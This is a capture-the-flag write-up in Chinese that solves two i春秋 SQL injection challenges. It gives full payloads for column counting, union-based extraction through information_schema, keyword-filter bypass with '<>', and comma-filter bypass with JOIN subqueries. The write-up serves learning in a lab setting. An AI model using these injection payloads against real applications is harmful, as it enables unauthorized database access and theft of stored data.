SQL简单注入

题目来源:https://www.ichunqiu.com/battalion

一、SQL

题目描述:
出题人就告诉你这是个注入,有种别走!
SQL简单注入_第1张图片
查看网页源码,发现源码中有select语句的信息,这下我们省事了。
SQL简单注入_第2张图片
根据源码可看出,注入点无闭合符号,我们先构造payload:

id=1 --+

SQL简单注入_第3张图片
发现页面正常显示,那么我们的猜想是正确的。

第一步判断字段数,输入:

id=1 order by 1 --+

SQL简单注入_第4张图片
结果界面回显不正常,猜测是关键字被过滤了,绕过关键字被过滤的方法:用/**/,<>来分割关键字。对于不同情况有很多不同的绕过方法,其他的绕过方法放在这里都不管用,这里只有用<>分割关键字才有效。

输入?id=1 ord<>er by 1 --+,页面回显正常
SQL简单注入_第5张图片
当order by后面的值为1-3 时,页面回显正常,到4时,页面回显不正常,则说明有三个字段。

第二步判断显位,输入

id=1 union sel<>ect  1,2,3 --+

SQL简单注入_第6张图片
说明只有2所在的位置能够显示出信息

第三步爆库名,输入

?id=1 union sel<>ect  1,database(),3 --+

SQL简单注入_第7张图片
爆出库名为sqli,其实有时候不用报库名,可以直接用database()来代替库名

第四步爆表名,输入

?id=1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

SQL简单注入_第8张图片
爆出了两张表,我们也不知道flag在那个表里,所以只能一个一个试,为了节省时间,我就不一个个试了,(我一开始进去的就是表users,里面有id,uasename和flag_9c861b688330三个字段,然而这三个字段里面都是空的)我们直接注表info。

第五步爆字段,输入

?id=1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name=‘info’ --+

SQL简单注入_第9张图片
看到这三个字段,很明显flag就在flAg_T5ZNdrm字段里。

第六步爆元素值,输入

?id=1 union sel<>ect 1,group_concat(flAg_T5ZNdrm),3 from info–+
SQL简单注入_第10张图片

二、SQLi

题目描述:后台有获取flag的线索

这道题是真的坑,专门坑我这种小白

题目一打开就是一个白色的界面,查看网页源代码后发现一个login.phpSQL简单注入_第11张图片SQL简单注入_第12张图片
然后进入就是一顿输出,后来才发现这是个假界面。
SQL简单注入_第13张图片
先用御剑扫一下,看看有没有其他网页
SQL简单注入_第14张图片
发现有一个index.php,访问index.php并且用burpsuite抓包

在回应头里有一个url地址
SQL简单注入_第15张图片
乍一看与我们访问index.php后上面的链接差不多,实际上这两个链接就就换了一个字符

index.php上面的链接:b68a89d1c4a097a9d8631b3ac45e8979.php
回应头里的链接:b68a89d1c4a097a9d863lb3ac45e8979.php

它就把1换成了l,要是不注意,还真看不出来

访问回应头里的链接,再用burpsuite抓包
SQL简单注入_第16张图片
这时才看到真正的登录界面
SQL简单注入_第17张图片
然后开始注入

1、先判断注入点,当输入?id=1'?id=1'),和与单引号有关的符号时界面回显异常,其他的则回显正常,则说明注入点与单引号有关,而注释符中--+被过滤了
,(如果你要是在url地址栏里进行注入的话就用%23注释,要是你用火狐的hackbar进行注入的话就用#注释)当输入?id=1' #时,界面回显正常,则单引号就是注入点。
SQL简单注入_第18张图片2、判断字段,输入

?id=1' order by 1 #

当输入?id=1' order by 3 #时,界面回显异常,则只有两个字段
SQL简单注入_第19张图片
3、判断显位,输入

?id=1' union select 1,2 #

SQL简单注入_第20张图片
界面异常,应该是被过滤了,而界面显示的应该是过滤后的内容,可以看出逗号后面的内容没了,所以应该是过滤了逗号。

然后百度了一下绕过逗号过滤的的方法,找到了一种新的注入姿势join绕过(当然还有别的方法,比如case when then,substring(str FROM pos)等,但这些比较适合盲注,这题要是盲注的话有点麻烦,所以还是join比较适合)

输入

?id=1' union select * from (select 1)a join (select 2)b #

SQL简单注入_第21张图片
发现界面回显没什么变化,按理说应该id应该显示1,username应该显示2

后来我才想起来,这是联合查询,如果union前后的语句都执行成功的话就会显示第一个执行结果,以至第二个执行结果无法显示,所以要让第一个语句的执行结果为假,把id后的1给为0就行了。

SQL简单注入_第22张图片
4、爆库名,输入
?id=0’ union select * from (select database())a join (select 2)b #

SQL简单注入_第23张图片
5、爆表名,输入
?id=0’ union select * from (select group_concat(table_name) from information_schema.tables where table_schema=‘sqli’)a join (select 2)b #

SQL简单注入_第24张图片
6、爆字段名,输入
?id=0’ union select * from (select group_concat(column_name) from information_schema.columns where table_name=‘users’)a join (select 2)b #

SQL简单注入_第25张图片
看到这三个字段,很明显flag应该在flag_9c861b68830字段里

7、爆元素值,输入
?id=0’ union select * from (select group_concat(flag_9c861b688330) from users)a join (select 2)b #

SQL简单注入_第26张图片

总结: 之前练习SQL注入的时候都没做过有过滤的,直到真正做SQL注入题时才发现,SQL注入基本都是带过滤的,看来还是自己太菜了,以后还得更加努力才行。

你可能感兴趣的:(SQL简单注入)